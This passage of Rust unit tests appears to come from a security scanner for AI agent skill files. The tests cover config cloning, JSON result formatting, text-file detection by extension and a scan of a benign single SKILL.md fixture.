1982        assert_eq!(format!("{:?}", effective), format!("{:?}", cloned));
1983    }
1984
1985    #[test]
1986    fn test_format_result_with_config_directly() {
1987        let effective = EffectiveConfig {
1988            format: OutputFormat::Json,
1989            strict: false,
1990            warn_only: false,
1991            min_severity: None,
1992            min_rule_severity: None,
1993            scan_type: ScanType::Skill,
1994            recursive: true,
1995            ci: false,
1996            verbose: false,
1997            min_confidence: Confidence::Tentative,
1998            skip_comments: false,
1999            fix_hint: false,
2000            no_malware_scan: false,
2001            deep_scan: false,
2002            watch: false,
2003            output: None,
2004            fix: false,
2005            fix_dry_run: false,
2006            malware_db: None,
2007            custom_rules: None,
2008        };
2009
2010        let result = ScanResult {
2011            version: "0.4.0".to_string(),
2012            scanned_at: "2026-01-25T12:00:00Z".to_string(),
2013            target: "test".to_string(),
2014            summary: Summary::from_findings(&[]),
2015            findings: vec![],
2016            risk_score: None,
2017        };
2018
2019        let output = format_result_with_config(&effective, &result);
2020        assert!(output.contains("\"version\""));
2021    }
2022
2023    #[test]
2024    fn test_is_text_file_with_config() {
2025        let config = crate::config::TextFilesConfig::default();
2026        assert!(is_text_file_with_config(Path::new("test.md"), &config));
2027        assert!(is_text_file_with_config(Path::new("test.json"), &config));
2028        assert!(!is_text_file_with_config(Path::new("test.exe"), &config));
2029    }
2030
2031    #[test]
2032    fn test_run_scan_single_file() {
2033        let temp_dir = TempDir::new().unwrap();
2034        let skill_md = temp_dir.path().join("SKILL.md");
2035        fs::write(
2036            &skill_md,
2037            r#"---
2038name: test
2039allowed-tools: Read
2040---
2041# Test
2042"#,
2043        )
2044        .unwrap();
2045
2046        // Scan single file instead of directory
2047        let cli = create_test_cli(vec![skill_md.clone()]);
2048        let result = run_scan(&cli);
2049
2050        assert!(result.is_some());
2051    }
2052}